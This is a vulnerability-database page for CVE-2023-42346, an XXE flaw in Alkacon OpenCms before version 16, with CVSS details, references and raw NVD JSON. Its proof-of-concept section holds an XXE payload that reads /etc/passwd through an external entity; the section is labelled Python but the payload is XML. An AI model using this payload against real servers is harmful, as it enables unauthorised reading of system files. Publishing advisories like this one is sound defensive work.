CVE-2023-42346 CVSS 7.5 HIGH

CVE-2023-42346

Published: 2026-05-08 05:16:10

Last Modified: 2026-05-11 20:20:58

Source: [email protected]

Description

Alkacon OpenCms before 16 allows XXE when the <!DOCTYPE> refers to an external host.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Alkacon OpenCms < 16

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?xml version="1.0" encoding="UTF-8"?>
<!-- PoC for CVE-2023-42346: XXE in OpenCms -->
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-42346
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-42346
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-42346/
[4] VulDB https://vuldb.com/cve/CVE-2023-42346
[5] https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2023-42346", "sourceIdentifier": "[email protected]", "published": "2026-05-08T05:16:09.850", "lastModified": "2026-05-11T20:20:58.467", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Alkacon OpenCms before 16 allows XXE when the <!DOCTYPE> refers to an external host."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "references": [{"url": "https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/", "source": "[email protected]"}]}}